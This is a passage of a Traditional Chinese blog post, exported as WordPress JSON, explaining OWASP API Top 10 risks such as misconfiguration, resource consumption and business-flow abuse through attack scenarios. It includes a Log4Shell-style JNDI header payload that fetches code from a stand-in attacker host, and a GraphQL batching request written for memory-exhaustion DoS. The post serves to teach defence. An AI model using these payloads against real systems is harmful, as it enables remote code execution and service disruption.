{"id":3188,"date":"2026-06-21T17:17:43","date_gmt":"2026-06-21T09:17:43","guid":{"rendered":"https:\/\/systw.net\/note\/?p=3188"},"modified":"2026-06-21T17:17:46","modified_gmt":"2026-06-21T09:17:46","slug":"owasp-api-architecture-security","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/3188","title":{"rendered":"OWASP API Architecture Security"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">OWASP Top 10 API Security\u662f\u7531\u5168\u7403\u77e5\u540d\u7684\u975e\u71df\u5229\u8cc7\u5b89\u7d44\u7e54 OWASP \u6240\u7d71\u6574\u767c\u5e03\u7684\u6307\u5357\uff0c\u5217\u51fa\u4e86\u76ee\u524d\u73fe\u4ee3 API \u67b6\u69cb\u4e2d\u6700\u5e38\u898b\u3001\u6700\u5177\u7834\u58de\u529b\u7684\u5341\u5927\u5b89\u5168\u98a8\u96aa\u3002\u800c\u548c\u67b6\u69cb\u3001\u71df\u904b\u8207\u696d\u52d9\u908f\u8f2f (API 4, 6, 7, 8, 9, 10)\u76f8\u95dc\u7684\u6709\uff1a\u5b89\u5168\u8a2d\u5b9a\u932f\u8aa4\uff0c\u8cc7\u6e90\u6d88\u8017\u4e0d\u53d7\u9650\uff0cSSRF\uff0c\u4e0d\u5b89\u5168\u5730\u6d88\u8017 API\uff0c\u5c0d\u654f\u611f\u696d\u52d9\u6d41\u7a0b\u7684\u7121\u9650\u5236\u5b58\u53d6\uff0c\u4e0d\u7576\u7684\u6e05\u55ae\u7ba1\u7406\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u9019\u4e00\u985e\u578b\u7684\u6f0f\u6d1e\uff0c\u5176\u6839\u672c\u539f\u56e0\u901a\u5e38\u4e0d\u662f\u56e0\u70ba\u300c\u6b0a\u9650\u88ab\u7e5e\u904e\u300d\u3002\u5373\u4f7f\u662f\u4e00\u500b\u64c1\u6709\u5b8c\u5168\u5408\u6cd5\u6b0a\u9650\u7684\u4f7f\u7528\u8005\uff0c\u53ea\u8981 API \u5728\u67b6\u69cb\u8a2d\u8a08\u3001\u7cfb\u7d71\u8a2d\u5b9a\u6216\u8207\u5916\u754c\u4e92\u52d5\u7684\u74b0\u7bc0\u6709\u7f3a\u9677\uff0c\u5c31\u6703\u5f15\u767c\u9019\u4e9b\u6f0f\u6d1e\u3002\u6211\u5011\u53ef\u4ee5\u5c07\u9019\u985e\u518d\u7d30\u5206\u70ba\u4e09\u500b\u9762\u5411\u4f86\u7406\u89e3\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1. \u7cfb\u7d71\u8a2d\u5b9a\u8207\u57fa\u790e\u8a2d\u65bd\u7ba1\u7406<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>API8:2023 (\u5b89\u5168\u8a2d\u5b9a\u932f\u8aa4,Security Misconfiguration)\uff1a<\/strong> \u95dc\u6ce8\u7684\u662f\u4f3a\u670d\u5668\u8207\u7db2\u8def\u74b0\u5883\u7684\u9ad4\u8cea\u662f\u5426\u5065\u5eb7\uff0c\u4f8b\u5982\u6709\u6c92\u6709\u95dc\u9589\u4e0d\u5fc5\u8981\u7684\u529f\u80fd\u3001\u6709\u6c92\u6709\u52a0\u5bc6\u9023\u7dda\u3001\u8a2d\u5b9a\u6a94\u662f\u5426\u5b89\u5168\u7b49\u3002<\/li>\n\n\n\n<li><strong>API4:2023 (\u8cc7\u6e90\u6d88\u8017\u4e0d\u53d7\u9650,Unrestricted Resource Consumption)\uff1a<\/strong> \u95dc\u6ce8\u7684\u662f\u7cfb\u7d71\u7684\u300c\u80c3\u53e3\u300d\u6709\u6c92\u6709\u88ab\u9650\u5236\u3002\u5982\u679c\u6c92\u6709\u9650\u5236\u4f7f\u7528\u8005\u8acb\u6c42\u7684\u8a18\u61b6\u9ad4\u3001\u904b\u7b97\u91cf\u6216\u7b2c\u4e09\u65b9\u670d\u52d9\u7684\u82b1\u8cbb\uff0c\u5c31\u6703\u5c0e\u81f4\u4f3a\u670d\u5668\u7671\u7613 (DoS) \u6216\u6210\u672c\u66b4\u589e\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>2. \u71df\u904b\u7ba1\u7406\u8207\u696d\u52d9\u908f\u8f2f\u8a2d\u8a08<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>API6:2023 (\u5c0d\u654f\u611f\u696d\u52d9\u6d41\u7a0b\u7684\u7121\u9650\u5236\u5b58\u53d6,Unrestricted Access to Sensitive Business Flows)\uff1a<\/strong> API \u5728\u6280\u8853\u4e0a\u53ef\u80fd\u6beb\u7121\u7834\u7dbb\uff0c\u4f46\u300c\u5546\u696d\u908f\u8f2f\u300d\u88ab\u6a5f\u5668\u4eba\u81ea\u52d5\u5316\u8173\u672c\u60e1\u610f\u6feb\u7528\uff08\u4f8b\u5982\u9ec3\u725b\u6436\u7968\u3001\u5927\u91cf\u6d17\u63a8\u85a6\u91d1\uff09\uff0c\u5c0e\u81f4\u6b63\u5e38\u7528\u6236\u7121\u6cd5\u4f7f\u7528\uff0c\u640d\u5bb3\u4f01\u696d\u5546\u696d\u5229\u76ca\u3002<\/li>\n\n\n\n<li><strong>API9:2023 (\u4e0d\u7576\u7684\u6e05\u55ae\u7ba1\u7406,Improper Inventory Management )\uff1a<\/strong> \u9019\u662f IT \u71df\u904b\u7ba1\u7406\u7684\u76f2\u9ede\u3002\u4f01\u696d\u5982\u679c\u6c92\u6709\u7ba1\u7406\u597d\u81ea\u5df1\u7684 API \u8cc7\u7522\uff0c\u8b93\u5fd8\u8a18\u95dc\u9589\u7684\u820a\u7248 API\u3001\u6e2c\u8a66\u6a5f\u6216\u662f\u672a\u53d7\u76e3\u63a7\u7684\u7b2c\u4e09\u65b9\u8cc7\u6599\u6d41\u6301\u7e8c\u66b4\u9732\u5728\u5916\uff0c\u5c31\u6703\u6210\u70ba\u653b\u64ca\u8005\u8f15\u9b06\u6f5b\u5165\u7684\u5f8c\u9580\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>3. \u5916\u90e8\u7db2\u8def\u8207\u7b2c\u4e09\u65b9\u4fe1\u4efb\u6574\u5408<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>API7:2023 (\u4f3a\u670d\u5668\u7aef\u8acb\u6c42\u507d\u9020,SSRF)\uff1a<\/strong> API \u5982\u679c\u8f15\u4fe1\u4e86\u4f7f\u7528\u8005\u63d0\u4f9b\u7684 URL \u53bb\u6293\u53d6\u8cc7\u6e90\uff0c\u5c31\u6703\u88ab\u653b\u64ca\u8005\u7576\u4f5c\u8df3\u677f\uff0c\u53cd\u904e\u4f86\u653b\u64ca\u88ab\u9632\u706b\u7246\u4fdd\u8b77\u7684\u5167\u90e8\u7db2\u8def\u3002<\/li>\n\n\n\n<li><strong>API10:2023 (\u4e0d\u5b89\u5168\u5730\u6d88\u8017 API,Unsafe Consumption of APIs)\uff1a<\/strong> \u9019\u662f\u53cd\u5411\u7684\u4fe1\u4efb\u5371\u6a5f\u3002API \u958b\u767c\u8005\u904e\u5ea6\u4fe1\u4efb\u300c\u7b2c\u4e09\u65b9 API (\u5982\u5176\u4ed6\u5ee0\u5546\u7684\u670d\u52d9)\u300d\u50b3\u56de\u7684\u8cc7\u6599\uff0c\u6c92\u505a\u904e\u6ffe\u5c31\u76f4\u63a5\u4f7f\u7528\uff0c\u5c0e\u81f4\u76ee\u6a19\u7cfb\u7d71\u53cd\u800c\u88ab\u60e1\u610f\u8cc7\u6599\uff08\u4f8b\u5982\u5305\u542b SQL \u6ce8\u5165\u7684\u60e1\u610f\u5b57\u4e32\uff09\u653b\u64ca\u3002<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Security Misconfiguration<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u9019\u500b\u6f0f\u6d1e\u53ef\u4ee5\u767c\u751f\u5728 API \u67b6\u69cb\u7684\u4efb\u4f55\u5c64\u7d1a\uff0c\u5f9e\u5e95\u5c64\u7684\u7db2\u8def\u5c64\u4e00\u76f4\u5230\u6700\u4e0a\u5c64\u7684\u61c9\u7528\u7a0b\u5f0f\u5c64\u3002\u7576\u7cfb\u7d71\u7f3a\u4e4f\u9069\u7576\u7684\u5b89\u5168\u5f37\u5316\u3001\u672a\u5957\u7528\u6700\u65b0\u7684\u5b89\u5168\u4fee\u88dc\u7a0b\u5f0f\u3001\u4f7f\u7528\u4e86\u4e0d\u5b89\u5168\u7684\u9810\u8a2d\u8a2d\u5b9a\uff0c\u6216\u662f\u958b\u555f\u4e86\u4e0d\u5fc5\u8981\u7684\u529f\u80fd\uff08\u4f8b\u5982\u591a\u9918\u7684 HTTP \u65b9\u6cd5\u6216\u65e5\u8a8c\u529f\u80fd\uff09\u6642\uff0c\u5c31\u6703\u7522\u751f\u9019\u500b\u6f0f\u6d1e\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u9019\u985e\u6f0f\u6d1e\u5728\u5be6\u52d9\u4e0a\u5341\u5206\u666e\u904d\uff0c\u4e14\u901a\u5e38\u5f88\u5bb9\u6613\u88ab\u81ea\u52d5\u5316\u5de5\u5177\u767c\u73fe\u8207\u5229\u7528\u3002\u653b\u64ca\u8005\u6703\u5c0b\u627e\u672a\u4fee\u88dc\u7684\u7f3a\u9677\u3001\u5e38\u898b\u7684\u9810\u8a2d\u7aef\u9ede\u6216\u672a\u53d7\u4fdd\u8b77\u7684\u6a94\u6848\u76ee\u9304\u3002\u9019\u4e0d\u50c5\u6703\u5c0e\u81f4\u4f7f\u7528\u8005\u7684\u6a5f\u654f\u8cc7\u6599\u5916\u6d29\uff0c\u751a\u81f3\u53ef\u80fd\u66b4\u9732\u7cfb\u7d71\u7d30\u7bc0\uff0c\u8b93\u653b\u64ca\u8005\u5b8c\u5168\u63a5\u7ba1\u4f3a\u670d\u5668\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u653b\u64ca\u7bc4\u4f8b<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u7bc4\u4f8b\u4e00\uff1a\u7b2c\u4e09\u65b9\u65e5\u8a8c\u5de5\u5177\u7684\u4e0d\u5b89\u5168\u9810\u8a2d\u8a2d\u5b9a\uff08\u5c0e\u81f4\u9060\u7aef\u7a0b\u5f0f\u78bc\u57f7\u884c\uff09<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u60c5\u5883\u80cc\u666f\uff1a<\/strong> \u4e00\u500b API \u5f8c\u7aef\u4f3a\u670d\u5668\u4f7f\u7528\u4e86\u4e00\u6b3e\u53d7\u6b61\u8fce\u7684\u958b\u6e90\u65e5\u8a8c\u5de5\u5177\u4f86\u8a18\u9304\u4f7f\u7528\u8005\u7684\u8acb\u6c42\uff08\u4f8b\u5982\u8a18\u9304 API \u7248\u672c\u548c\u8def\u5f91\uff09\u3002\u7136\u800c\uff0c\u9019\u500b\u65e5\u8a8c\u5de5\u5177\u9810\u8a2d\u958b\u555f\u4e86\u300c\u4f54\u4f4d\u7b26\u5c55\u958b (placeholder expansion)\u300d\u8207\u300cJNDI \u67e5\u8a62\u300d\u529f\u80fd\u3002<\/li>\n\n\n\n<li><strong>\u6f0f\u6d1e\u89e3\u91cb\uff1a<\/strong> \u653b\u64ca\u8005\u767c\u73fe\u4e86\u9019\u500b\u60c5\u6cc1\uff0c\u4fbf\u5728\u767c\u9001 API \u8acb\u6c42\u6642\uff0c\u523b\u610f\u5728 HTTP \u6a19\u982d\uff08\u4f8b\u5982 <code>X-Api-Version<\/code>\uff09\u4e2d\u593e\u5e36\u4e86\u4e00\u6bb5\u60e1\u610f\u7684\u6307\u4ee4\u78bc\u3002\u7576\u4f3a\u670d\u5668\u7684\u65e5\u8a8c\u5de5\u5177\u8a66\u5716\u628a\u9019\u6bb5\u6a19\u982d\u5beb\u5165\u65e5\u8a8c\u6a94\u4e26\u300c\u5c55\u958b\u300d\u6578\u503c\u6642\uff0c\u610f\u5916\u89f8\u767c\u4e86 JNDI \u67e5\u8a62\u3002\u7531\u65bc\u4f3a\u670d\u5668\u7684\u5c0d\u5916\u7db2\u8def\u653f\u7b56\u904e\u65bc\u5bec\u9b06\uff0c\u65e5\u8a8c\u5de5\u5177\u4fbf\u9023\u7dda\u5230\u653b\u64ca\u8005\u63a7\u5236\u7684\u9060\u7aef\u4f3a\u670d\u5668\uff0c\u4e0b\u8f09\u4e26\u57f7\u884c\u4e86\u60e1\u610f\u7684\u7a0b\u5f0f\u78bc\uff08\u9019\u975e\u5e38\u985e\u4f3c\u77e5\u540d\u7684 Log4j \u6f0f\u6d1e\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/health\nX-Api-Version: ${jndi:ldap:\/\/attacker.com\/Malicious.class}<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u7bc4\u4f8b\u4e8c\uff1a\u7f3a\u5c11\u5feb\u53d6\u63a7\u5236\u6307\u4ee4\u5c0e\u81f4\u79c1\u5bc6\u8a0a\u606f\u5916\u6d29<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u60c5\u5883\u80cc\u666f\uff1a<\/strong> \u67d0\u793e\u7fa4\u7db2\u7ad9\u63d0\u4f9b\u300c\u79c1\u8a0a (Direct Message)\u300d\u529f\u80fd\uff0c\u4f7f\u7528\u8005\u7684\u700f\u89bd\u5668\u6703\u81ea\u52d5\u5728\u80cc\u666f\u547c\u53eb API \u4f86\u6293\u53d6\u65b0\u7684\u79c1\u4eba\u5c0d\u8a71\u3002<\/li>\n\n\n\n<li><strong>\u6f0f\u6d1e\u89e3\u91cb\uff1a<\/strong> \u958b\u767c\u4eba\u54e1\u5728\u8a2d\u5b9a\u9019\u500b API \u6642\uff0c\u5fd8\u8a18\u5728 HTTP \u56de\u61c9\u6a19\u982d\u4e2d\u52a0\u4e0a Cache-Control\uff08\u5feb\u53d6\u63a7\u5236\uff09\u6307\u4ee4\u3002\u56e0\u70ba\u6c92\u6709\u660e\u78ba\u6307\u793a\u300c\u4e0d\u8981\u5feb\u53d6\u300d\uff0c\u4f7f\u7528\u8005\u7684\u7db2\u9801\u700f\u89bd\u5668\u4fbf\u4f9d\u7167\u9810\u8a2d\u884c\u70ba\uff0c\u628a\u9019\u4e9b\u9ad8\u5ea6\u6a5f\u5bc6\u7684\u79c1\u8a0a\u5167\u5bb9\u81ea\u52d5\u66ab\u5b58\uff08Cache\uff09\u5728\u96fb\u8166\u786c\u789f\u7684\u66ab\u5b58\u8cc7\u6599\u593e\u4e2d\u3002\u9019\u8b93\u60e1\u610f\u653b\u64ca\u8005\u6709\u6a5f\u6703\u76f4\u63a5\u5f9e\u96fb\u8166\u672c\u6a5f\u7684\u700f\u89bd\u5668\u66ab\u5b58\u6a94\u88e1\uff0c\u5c07\u79c1\u5bc6\u5c0d\u8a71\u5168\u90e8\u7aca\u53d6\u51fa\u4f86\u3002<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Unrestricted Resource Consumption<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u8cc7\u6e90\u6d88\u8017\u4e0d\u53d7\u9650\uff0c\u9019\u500b\u6f0f\u6d1e\u662fAPI \u5728\u8655\u7406\u4f7f\u7528\u8005\u7684\u8acb\u6c42\u6642\uff0c\u5fc5\u7136\u6703\u6d88\u8017\u5404\u5f0f\u5404\u6a23\u7684\u8cc7\u6e90\uff0c\u5305\u542b\u7db2\u8def\u983b\u5bec\u3001CPU\u3001\u8a18\u61b6\u9ad4\u3001\u5132\u5b58\u7a7a\u9593\uff0c\u751a\u81f3\u662f\u9700\u8981\u6309\u6b21\u8a08\u8cbb\u7684\u7b2c\u4e09\u65b9\u670d\u52d9\u6574\u5408\uff08\u4f8b\u5982\u767c\u9001\u7c21\u8a0a\u3001\u96fb\u5b50\u90f5\u4ef6\u6216\u751f\u7269\u8fa8\u8b58\u9a57\u8b49\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c API \u6c92\u6709\u91dd\u5c0d\u5ba2\u6236\u7aef\u7684\u4e92\u52d5\u983b\u7387\u6216\u8cc7\u6e90\u8acb\u6c42\u91cf\u8a2d\u5b9a\u9069\u7576\u7684\u9650\u5236\uff08\u4f8b\u5982\uff1a\u7f3a\u5c11\u57f7\u884c\u903e\u6642\u8a2d\u5b9a\u3001\u6c92\u6709\u9650\u5236\u6700\u5927\u4e0a\u50b3\u6a94\u6848\u5927\u5c0f\u3001\u672a\u9650\u5236\u55ae\u4e00\u8acb\u6c42\u7684\u64cd\u4f5c\u6b21\u6578\uff0c\u6216\u6c92\u8a2d\u5b9a\u7b2c\u4e09\u65b9\u670d\u52d9\u7684\u652f\u51fa\u4e0a\u9650\uff09\uff0c\u5c31\u5b58\u5728\u6b64\u6f0f\u6d1e\u3002\u653b\u64ca\u8005\u53ef\u4ee5\u900f\u904e\u767c\u9001\u7279\u5b9a\u7684 API \u8acb\u6c42\uff0c\u5c0e\u81f4\u4f3a\u670d\u5668\u8cc7\u6e90\u8017\u76e1\u800c\u5f15\u767c\u963b\u65b7\u670d\u52d9\u653b\u64ca (DoS)\uff0c\u6216\u662f\u8b93\u57fa\u790e\u8a2d\u65bd\u8207\u7b2c\u4e09\u65b9\u670d\u52d9\u7684\u71df\u904b\u6210\u672c\u6025\u907d\u589e\u52a0<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u653b\u64ca\u7bc4\u4f8b <\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u7bc4\u4f8b\u4e00\uff1a\u6feb\u7528\u7c21\u8a0a\u670d\u52d9\u5c0e\u81f4\u5de8\u984d\u8ca1\u52d9\u640d\u5931<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u60c5\u5883\u80cc\u666f\uff1a<\/strong> \u67d0\u793e\u7fa4\u7db2\u8def\u7684\u300c\u5fd8\u8a18\u5bc6\u78bc\u300d\u529f\u80fd\u6703\u900f\u904e\u5f8c\u7aef\u547c\u53eb\u4e00\u500b\u7b2c\u4e09\u65b9\u7684\u7c21\u8a0a\u670d\u52d9 \u4f86\u767c\u9001\u9a57\u8b49\u78bc\uff0c\u800c\u8a72\u7b2c\u4e09\u65b9\u670d\u52d9\u6bcf\u6b21\u767c\u9001\u6703\u6536\u53d6 0.05 \u7f8e\u5143\u7684\u8cbb\u7528\u3002<\/li>\n\n\n\n<li><strong>\u6f0f\u6d1e\u89e3\u91cb\uff1a<\/strong> \u653b\u64ca\u8005\u64b0\u5beb\u4e86\u4e00\u500b\u8173\u672c\uff0c\u5728\u77ed\u6642\u9593\u5167\u5411 API \u767c\u9001\u4e86\u6578\u842c\u6b21\u300c\u5fd8\u8a18\u5bc6\u78bc\u300d\u7684\u8acb\u6c42\u3002\u7531\u65bc API \u6c92\u6709\u5c0d\u6b64\u64cd\u4f5c\u8a2d\u5b9a\u9069\u7576\u7684\u983b\u7387\u9650\u5236\uff0c\u5f8c\u7aef\u7cfb\u7d71\u4fbf\u8ddf\u8457\u5411\u7b2c\u4e09\u65b9\u670d\u52d9\u767c\u51fa\u4e86\u6578\u842c\u6b21\u7684\u7c21\u8a0a\u767c\u9001\u8acb\u6c42\uff0c\u5c0e\u81f4\u9019\u9593\u516c\u53f8\u5728\u77ed\u77ed\u5e7e\u5206\u9418\u5167\u5c31\u640d\u5931\u4e86\u6578\u5343\u7f8e\u5143\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">\u7bc4\u4f8b\u4e8c\uff1a\u5229\u7528 GraphQL \u6279\u6b21\u8655\u7406\u8017\u76e1\u4f3a\u670d\u5668\u8a18\u61b6\u9ad4 (DoS)<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u60c5\u5883\u80cc\u666f\uff1a<\/strong> \u67d0\u500b\u5141\u8a31\u4f7f\u7528\u8005\u4e0a\u50b3\u5927\u982d\u8cbc\u7684 GraphQL API\uff0c\u5728\u4e0a\u50b3\u5f8c\u6703\u9032\u884c\u8017\u8cbb\u5927\u91cf\u8a18\u61b6\u9ad4\u7684\u300c\u7522\u751f\u7e2e\u5716\u300d\u5716\u5f62\u8655\u7406\u4f5c\u696d\u3002\u958b\u767c\u8005\u96d6\u7136\u8a2d\u5b9a\u4e86\u50b3\u7d71\u7684 API \u901f\u7387\u9650\u5236\uff08\u4e0d\u80fd\u5728\u77ed\u6642\u9593\u5167\u983b\u7e41\u547c\u53eb\u7aef\u9ede\uff09\uff0c\u4e5f\u9650\u5236\u4e86\u4e0a\u50b3\u5716\u7247\u7684\u5927\u5c0f\u3002\u5982\u4e0b <\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/graphql\n\n{\n  \"query\": \"mutation {\n    uploadPic(name: \\\"pic1\\\", base64_pic: \\\"R0FOIEFOR0xJVA\u2026\\\") {\n      url\n    }\n  }\"\n}<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u6f0f\u6d1e\u89e3\u91cb\uff1a<\/strong> \u653b\u64ca\u8005\u5229\u7528\u4e86 GraphQL \u5141\u8a31\u300c\u6279\u6b21\u8655\u7406\u300d\u7684\u9748\u6d3b\u7279\u6027\uff0c\u5728\u55ae\u4e00\u4e00\u500b API \u8acb\u6c42\u4e2d\uff0c\u540c\u6642\u593e\u5e36\u4e86\u6975\u5927\u91cf\u7684\u300c\u4e0a\u50b3\u5716\u7247\u300d\u64cd\u4f5c\u3002\u56e0\u70ba API \u53ea\u6709\u9650\u5236\u300c\u8acb\u6c42\u6b21\u6578\u300d\uff0c\u537b\u6c92\u6709\u9650\u5236\u300c\u55ae\u4e00\u8acb\u6c42\u5167\u5305\u542b\u7684\u64cd\u4f5c\u6578\u91cf\u300d\uff0c\u4f3a\u670d\u5668\u5728\u6536\u5230\u9019\u500b\u8acb\u6c42\u5f8c\uff0c\u6703\u8a66\u5716\u540c\u6642\u57f7\u884c\u5927\u91cf\u7684\u5716\u7247\u8655\u7406\u4f5c\u696d\uff0c\u77ac\u9593\u8017\u76e1\u4f3a\u670d\u5668\u8a18\u61b6\u9ad4\uff0c\u6700\u7d42\u5c0e\u81f4\u670d\u52d9\u4e2d\u65b7 (DoS)\u3002<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/graphql\n\n&#91;\n  {\"query\": \"mutation {uploadPic(name: \\\"pic1\\\", base64_pic: \\\"R0FOIEFOR0xJVA\u2026\\\") {url}}\"},\n  {\"query\": \"mutation {uploadPic(name: \\\"pic2\\\", base64_pic: \\\"R0FOIEFOR0xJVA\u2026\\\") {url}}\"},\n  ...\n  {\"query\": \"mutation {uploadPic(name: \\\"pic999\\\", base64_pic: \\\"R0FOIEFOR0xJVA\u2026\\\") {url}}\"},\n}<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Unrestricted Access to Sensitive Business Flows<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c0d\u654f\u611f\u696d\u52d9\u6d41\u7a0b\u7684\u7121\u9650\u5236\u5b58\u53d6\uff0c\u5b83\u7684\u6838\u5fc3\u4e0d\u5728\u65bc\u6280\u8853\u5c64\u9762\u7684\u7f3a\u9677\uff08\u4f8b\u5982\u6b0a\u9650\u88ab\u7e5e\u904e\u6216\u4f3a\u670d\u5668\u88ab\u641e\u57ae\uff09\uff0c\u800c\u662f\u653b\u64ca\u8005\u91dd\u5c0d\u61c9\u7528\u7a0b\u5f0f\u80cc\u5f8c\u7684\u300c\u5546\u696d\u6a21\u5f0f\u300d\u6216\u300c\u696d\u52d9\u908f\u8f2f\u300d\u9032\u884c\u6feb\u7528\u3002\u7576 API \u66b4\u9732\u51fa\u4e00\u4e9b\u654f\u611f\u7684\u696d\u52d9\u6d41\u7a0b\uff08\u4f8b\u5982\u8cfc\u8cb7\u5546\u54c1\u3001\u767c\u8868\u8a55\u8ad6\u3001\u9810\u8a02\u5ea7\u4f4d\u7b49\uff09\uff0c\u537b\u6c92\u6709\u9069\u7576\u9650\u5236\u5b58\u53d6\u6642\uff0c\u653b\u64ca\u8005\u5c31\u80fd\u5229\u7528\u81ea\u52d5\u5316\u8173\u672c\uff08\u6a5f\u5668\u4eba\uff09\u4f01\u696d\u7684\u5546\u696d\u5229\u76ca\u53d7\u640d\u3001\u6b63\u5e38\u4f7f\u7528\u8005\u7121\u6cd5\u7372\u5f97\u670d\u52d9\uff0c\u6216\u662f\u904a\u6232\/\u5e73\u53f0\u5167\u90e8\u7684\u7d93\u6fdf\u9ad4\u7cfb\u901a\u8ca8\u81a8\u8139\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u653b\u64ca\u7bc4\u4f8b<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f86\u6e90\u4e2d\u63d0\u4f9b\u4e86\u4e09\u500b\u751f\u52d5\u7684\u5546\u696d\u908f\u8f2f\u6feb\u7528\u7bc4\u4f8b\uff1a<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u7bc4\u4f8b\u4e00\uff1a\u9ec3\u725b\u6a5f\u5668\u4eba\u79d2\u6bba\u9650\u91cf\u5546\u54c1\uff08\u8cfc\u8cb7\u6d41\u7a0b\u6feb\u7528\uff09<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u60c5\u5883\u80cc\u666f\uff1a<\/strong> \u67d0\u79d1\u6280\u516c\u53f8\u5ba3\u5e03\u5728\u611f\u6069\u7bc0\u767c\u552e\u4e00\u6b3e\u9700\u6c42\u6975\u9ad8\u3001\u5eab\u5b58\u6709\u9650\u7684\u65b0\u6b3e\u904a\u6232\u6a5f\u3002<\/li>\n\n\n\n<li><strong>\u6f0f\u6d1e\u89e3\u91cb\uff1a<\/strong> \u653b\u64ca\u8005\u5beb\u4e86\u81ea\u52d5\u5316\u8173\u672c\uff0c\u4e26\u5206\u6563\u5728\u591a\u500b IP \u4f4d\u5740\u548c\u5730\u9ede\u57f7\u884c\u3002\u56e0\u70ba\u8a72\u96fb\u5546\u7684 API \u7f3a\u4e4f\u9632\u7bc4\u81ea\u52d5\u5316\u5a01\u8105\u7684\u6a5f\u5236\uff0c\u653b\u64ca\u8005\u7684\u6a5f\u5668\u4eba\u5728\u958b\u8ce3\u77ac\u9593\u5c31\u300c\u5408\u6cd5\u5730\u300d\u8cb7\u5149\u4e86\u5927\u90e8\u5206\u7684\u5eab\u5b58\uff0c\u5c0e\u81f4\u4e00\u822c\u6b63\u5e38\u7528\u6236\u6839\u672c\u8cb7\u4e0d\u5230\u3002\u96a8\u5f8c\uff0c\u653b\u64ca\u8005\u518d\u5230\u5176\u4ed6\u5e73\u53f0\u4e0a\u4ee5\u6975\u9ad8\u50f9\u683c\u8f49\u552e\uff08\u9ec3\u725b\u884c\u70ba\uff09\u4f86\u725f\u53d6\u66b4\u5229\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">\u7bc4\u4f8b\u4e8c\uff1a\u60e1\u610f\u4f54\u4f4d\u64cd\u7e31\u6a5f\u7968\u50f9\u683c\uff08\u9810\u8a02\u6d41\u7a0b\u6feb\u7528\uff09<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u60c5\u5883\u80cc\u666f\uff1a<\/strong> \u67d0\u822a\u7a7a\u516c\u53f8\u63d0\u4f9b\u300c\u514d\u624b\u7e8c\u8cbb\u53d6\u6d88\u300d\u7684\u7dda\u4e0a\u8cfc\u7968\u670d\u52d9\u3002<\/li>\n\n\n\n<li><strong>\u6f0f\u6d1e\u89e3\u91cb\uff1a<\/strong> \u4e00\u4f4d\u6709\u60e1\u610f\u7684\u4f7f\u7528\u8005\u5229\u7528\u9019\u500b\u9000\u7968\u6a5f\u5236\uff0c\u4e8b\u5148\u8a02\u4e0b\u4e86\u67d0\u500b\u71b1\u9580\u822a\u73ed 90% \u7684\u5ea7\u4f4d\u3002\u5230\u4e86\u8d77\u98db\u524d\u5e7e\u5929\uff0c\u4ed6\u4e00\u53e3\u6c23\u628a\u6240\u6709\u6a5f\u7968\u5168\u90e8\u53d6\u6d88\u3002\u822a\u7a7a\u516c\u53f8\u773c\u770b\u98db\u6a5f\u5373\u5c07\u7a7a\u8457\u8d77\u98db\uff0c\u7cfb\u7d71\u4fbf\u88ab\u8feb\u5927\u5e45\u8abf\u964d\u7968\u50f9\u4f86\u4fc3\u92b7\u3002\u9019\u6642\uff0c\u9019\u4f4d\u60e1\u610f\u4f7f\u7528\u8005\u5c31\u80fd\u4ee5\u6975\u4fbf\u5b9c\u7684\u50f9\u683c\u8cb7\u4e0b\u81ea\u5df1\u771f\u6b63\u8981\u642d\u7684\u90a3\u5f35\u6a5f\u7968\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">\u7bc4\u4f8b\u4e09\uff1a\u7121\u9650\u6d17\u5237\u63a8\u85a6\u734e\u52f5\uff08\u8a3b\u518a\u8207\u63a8\u85a6\u6d41\u7a0b\u6feb\u7528\uff09<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u60c5\u5883\u80cc\u666f\uff1a<\/strong> \u67d0\u53eb\u8eca App 